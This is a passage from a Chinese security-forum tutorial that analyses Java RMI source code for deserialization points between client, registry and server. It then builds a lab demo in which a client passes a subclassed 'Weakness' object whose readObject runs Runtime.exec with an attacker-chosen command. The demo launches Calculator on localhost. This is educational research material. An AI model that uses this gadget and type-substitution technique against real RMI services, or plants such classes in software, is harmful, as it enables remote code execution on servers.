  60.             Class var12 = var42.getReturnType();
  61.             if (var12 != Void.TYPE) {
  62.                 //序列化返回值等信息,同样也可以序列化一些恶意类信息
  63.                 marshalValue(var12, var10, var11);
  64.             }
  65.         } catch (IOException var32) {
  66.             throw new MarshalException("error marshalling return", var32);
  67.         }
  68.     } catch (Throwable var39) {
  69.         Object var6 = var39;
  70.         this.logCallException(var39);
  71.         ObjectOutput var8 = var2.getResultStream(false);
  72.         if (var39 instanceof Error) {
  73.             var6 = new ServerError("Error occurred in server thread", (Error)var39);
  74.         } else if (var39 instanceof RemoteException) {
  75.             var6 = new ServerException("RemoteException occurred in server thread", (Exception)var39);
  76.         }

  77.         if (suppressStackTraces) {
  78.             clearStackTraces((Throwable)var6);
  79.         }

  80.         var8.writeObject(var6);
  81.         if (var39 instanceof AccessException) {
  82.             throw new IOException("Connection is not reusable", var39);
  83.         }
  84.     } finally {
  85.         var2.releaseInputStream();
  86.         var2.releaseOutputStream();
  87.     }

  88. }
复制代码
好了服务端这边也简单的分析完了,我们来总结一下,在这些过程中可以利用的反序列化点。
首先是服务端调用bind方法像rmiregistry注册远程方法的信息时,在执行的过程中,调用了RegistryImpl_Skel.dispatch方法,反序列化服务端传来的数据,此为一个利用点,我们可以修改传递的数据从而达到从服务端对rmiregistry进行反序列化攻击

  1. var9 = var2.getInputStream();
  2. //反序列化“hello”字符串
  3. var7 = (String)var9.readObject();
  4. //这个位置本来是属于反序列化出来的“HelloImpl”对象的,但是最终结果得到的是一个Proxy对像
  5. //这个很关键,这个Proxy对象即所为的Stub(存根),客户端就是通过这个Stub来知道服务端的地址和端口号从                 而进行通信的。
  6. //这里的反序列化点很明显是我们可以利用的,通过RMI服务端执行bind,我们就可以攻击rmiregistry注               册中心,导致其反序列化RCE
  7. var80 = (Remote)var9.readObject();
复制代码
接下来就是客户端调用lookup方法向rmiregistry进行远程方法信息查询时, rmiregistry反序列化了客户端传来的数据,这样以来我们就在客户端像rmiregistry查询时来构造恶意的反序列化数据。

  1. //获取客户端传来的输入流
  2. var8 = var2.getInputStream();
  3. //反序列化字符串“hello”
  4. //同样在反序列化客户端传来的查询数据时,这个点我们也可以利用lookup方法,理论上,我们可以在客              户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端
  5. //尽管lookup时客户端似乎只能传递String类型,但是还是那句话,只要后台不做限制,客户端的东西皆可控
  6. var7 = (String)var8.readObject();
复制代码
然后就是客户端处理rmiregistry返回的数据时,我们已知正常情况下rmiregistry回返回一个实现了Remote的Proxy对象,但是我们也可以利用rmiregistry返回一些恶意的反序列化对象给客户端,从而进行反序列化攻击。

  1. //获取rmiregistry返回的输入流
  2. ObjectInput var4 = var2.getInputStream();
  3. //反序列化返回的Stub
  4. //同样在反序列化rmiregistry返回的Stub时这个点我们也可以利用lookup方法,理论上,我们可以在客              户端用它去主动攻击RMI Registry,也能通过RMI Registry去被动攻击客户端
  5. var22 = (Remote)var4.readObject();
复制代码
接下来就该客户端和服务端之间的通信了,同理客户端通过rmiregistry返回的那个Proxy对象,也就是所谓的Stub和服务端进行通信,首先服务端接受到数据以后,会对客户端传来的所需要远程方法处理的参数进行反序列化,这里又是一个可以利用的点,因为我们从客户端的角度,这个只要后台不做检验,我们就可控

  1. this.unmarshalCustomCallData(var41);
  2. //从 ConnectionInputStream里反序列化出远程调用的参数
  3. //这里就是客户端可以用来攻击服务端的点,因为这里对远程调用方法的参数进行了反序列化,由此我们可以传递               恶意的反序列化数据进来
  4. var9 = this.unmarshalParameters(var1, var42, var7);
复制代码
最后就是服务端处理完成后,将结果返回给客户端,同理,这个范围值从服务端的角度来说,也是可控的,甲乙双方可以进行互相攻击。
  1.   //获取输入流  
  2.         var11 = var7.getInputStream();
  3.         //解封装参数将返回值赋值给var46,也就是把返回的结果字符串“hello”赋值给var47
  4.         //既然将返回的参数还原了,那么其中必定包含了反序列化,由此此处可以是服务端对客户端进行反序列化攻击的              点
  5.       //也就是说,在这个远程调用的过程中,我们可以想办法,把参数的序列化数据替换成恶意序列化数据,我们就能攻击服务端,而服务端,也能替换其返回的序列化数据为恶意序列化数据,进而被动攻击客户端。
  6.         Object var47 = unmarshalValue(var46, (ObjectInput)var11);
  7.         var9 = true;
  8.         clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
  9.         //释放链接通道
  10.         this.ref.getChannel().free(var6, true);
  11.         var13 = var47;
复制代码

所以总结一下有五条攻击思路
服务端------->rmiregistry
客户端------->rmiregistry
rmiregistry------->客户端
客户端------->服务端
服务端------->客户端

0x03  客户端攻击服务端

接下来就一个一个来试验一下,这几条攻击思路。
首先客户端(远程方法调用方),对服务端(远程方法服务方)进行反序列化攻击,客户端对服务端进行反序列化的攻击关键在于传递的参数
那我们应该怎么来实现呢?我们来重新写一个远程方法的调用,(此处参考了知道创宇大佬的文章和代码Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) ,大佬的代码地址https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)
首先我们先修改一下远程方法服务方的代码,为接口中唯一的一个方法添加参数,是一个Person类型。

  1. package com.rmitest.inter;

  2. import com.rmitest.impl.Person;

  3. import java.rmi.Remote;
  4. import java.rmi.RemoteException;

  5. public interface IHello extends Remote {
  6.     public String sayHello(Person person)throws RemoteException;
  7. }
复制代码
看一下这个Person类的具体细节

  1. package com.rmitest.impl;

  2. import java.io.Serializable;

  3. public class Person implements Serializable {
  4.     private static final long serialVersionUID = -8482776308417450924L;
  5.     private String name;

  6.     public String getName() {
  7.         return name;
  8.     }

  9.     public void setName(String name) {
  10.         this.name = name;
  11.     }
  12. }
复制代码
就是一个简单的pojo类,然后修改HelloImpl代码实现。

  1. package com.rmitest.impl;



  2. import com.rmitest.inter.IHello;

  3. import java.rmi.RemoteException;
  4. import java.rmi.server.UnicastRemoteObject;

  5. public class HelloImpl extends UnicastRemoteObject implements IHello {

  6.     public HelloImpl() throws RemoteException {

  7.     }

  8.     @Override
  9.     public String sayHello(Person person) {
  10.         System.out.println("hello"+person.getName());
  11.         return "hello"+person.getName();
  12.     }
  13. }
复制代码
然后将接口文件放到Registry项目中,记得包路径要和在服务方的项目中的路径一样否则会爆ClassNotFoundException的错误,Registry项目中的IHello接口中的sayHello方法无需添加参数,因为rmiregistry在返回给客户端Stub时,这个Stub中只有对应的服务端的地址,端口号,以及objID等信息,并没有相关的参数信息。
Registry项目目录结构如下

最后客户端这边,就只需要将Person类按照和服务端一样的包路径拷贝过来,在修改下IHello里sayHell方法的参数就ok了

  1. package com.rmitest.customer;



  2. import com.rmitest.impl.Person;
  3. import com.rmitest.inter.IHello;

  4. import java.rmi.NotBoundException;
  5. import java.rmi.RemoteException;
  6. import java.rmi.registry.LocateRegistry;

  7. public class RMICustomer {
  8.     public static void main(String[] args) throws RemoteException, NotBoundException {
  9.         IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
  10.         Person person = new Person();
  11.         person.setName("hack");
  12.         System.out.println(hello.sayHello(person));
  13.     }
  14. }
复制代码
此时一个正常的远程方法调用环境就搭建好了,按理说这种情况下是没有什么反序列化漏洞的,但是如果说服务端的项目中存在一些已知的存在问题的类,例如Apache Common Collection。我们来模拟一下当服务端存在有存在反序列化问题的类时的情况。
  1. package com.rmitest.weakclass;

  2. import java.io.IOException;
  3. import java.io.ObjectInputStream;
  4. import java.io.Serializable;

  5. public class Weakness implements Serializable {
  6.     private static final long serialVersionUID = 7439581476576889858L;
  7.     private String param;

  8.     public void setParam(String param) {
  9.         this.param = param;
  10.     }

  11.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  12.         in.defaultReadObject();
  13.         Runtime.getRuntime().exec(this.param);
  14.     }
  15. }
复制代码
这里的Weakness类只是用来模拟一个在反序列化是会进行高危操作的一个类,比起用Apache Common Collection会现显得更加直观。
同样我们客户端如果想要利用这个类来对服务端进行反序列化攻击的话,那么客户端自然也需要存在这个类。所以拷贝一份到客户端,我们之前分析源码的时候看到了,服务端会反序列化客户端传来的需要远程方法处理的参数,这就是我们的攻击点,

  1. this.unmarshalCustomCallData(var41);
  2. //从 ConnectionInputStream里反序列化出远程调用的参数
  3. //这里就是客户端可以用来攻击服务端的点,因为这里对远程调用方法的参数进行了反序列化,由此我们可以传递               恶意的反序列化数据进来
  4. var9 = this.unmarshalParameters(var1, var42, var7);
复制代码
我们根据项目的源码可以看到,这里传递的参数类型是一个Person类型,Person这个类型本身是没有问题的,那我们要怎么实现让服务端反序列化Person类时能调用Weakness类呢?
其实很简单,我们只需要将客户端这边的Weakness类修改一下就可以了,我们让Weakness继承PerSon类就可以实现这个效果了,继承了PerSon之后我们的Weakness类就是Person类型的了,这样传递的时候Weakness类就可以被当作Person类来进行传递,表面上传递的是Person类型的参数,可实际上传递的参数确是Weakness类。

  1. public class Weakness extends Person implements Serializable {
  2.     private static final long serialVersionUID = 7439581476576889858L;
  3.     private String param;

  4.     public void setParam(String param) {
  5.         this.param = param;
  6.     }

  7.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
  8.         in.defaultReadObject();
  9.         Runtime.getRuntime().exec(this.param);
  10.     }
  11. }
复制代码
看一下客户端这边的实现

  1. package com.rmitest.customer;



  2. import com.rmitest.inter.IHello;
  3. import com.rmitest.weakclass.Weakness;

  4. import java.rmi.NotBoundException;
  5. import java.rmi.RemoteException;
  6. import java.rmi.registry.LocateRegistry;

  7. public class RMICustomer {
  8.     public static void main(String[] args) throws RemoteException, NotBoundException {
  9.         IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
  10.         Weakness weakness = new Weakness();
  11.         weakness.setParam("open /Applications/Calculator.app");
  12.         weakness.setName("hack");
  13.         System.out.println(hello.sayHello(weakness));
  14.     }
  15. }
复制代码
可以看成功将Weakness类作为参数进行传递,我们之前说过,服务端在处理客户端传来的远程调用信息时,是会调用UnicastServerRef.dispatch()方法的,会反序列化其中的参数
看一下调用链即可知

  1. protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
  2.     if (var0.isPrimitive()) {
  3.         if (var0 == Integer.TYPE) {
  4.             return var1.readInt();
  5.         } else if (var0 == Boolean.TYPE) {
  6.             return var1.readBoolean();
  7.         } else if (var0 == Byte.TYPE) {
  8.             return var1.readByte();
  9.         } else if (var0 == Character.TYPE) {
  10.             return var1.readChar();
  11.         } else if (var0 == Short.TYPE) {
  12.             return var1.readShort();
  13.         } else if (var0 == Long.TYPE) {
  14.             return var1.readLong();
  15.         } else if (var0 == Float.TYPE) {
  16.             return var1.readFloat();
  17.         } else if (var0 == Double.TYPE) {
  18.             return var1.readDouble();
  19.         } else {
  20.             throw new Error("Unrecognized primitive type: " + var0);
  21.         }
  22.     } else {
  23.       //最终在参数在 unmarshalValue 的var1.readObject()中被反序列化
  24.         return var1.readObject();
  25.     }
  26. }
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 16:27 , Processed in 0.021090 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表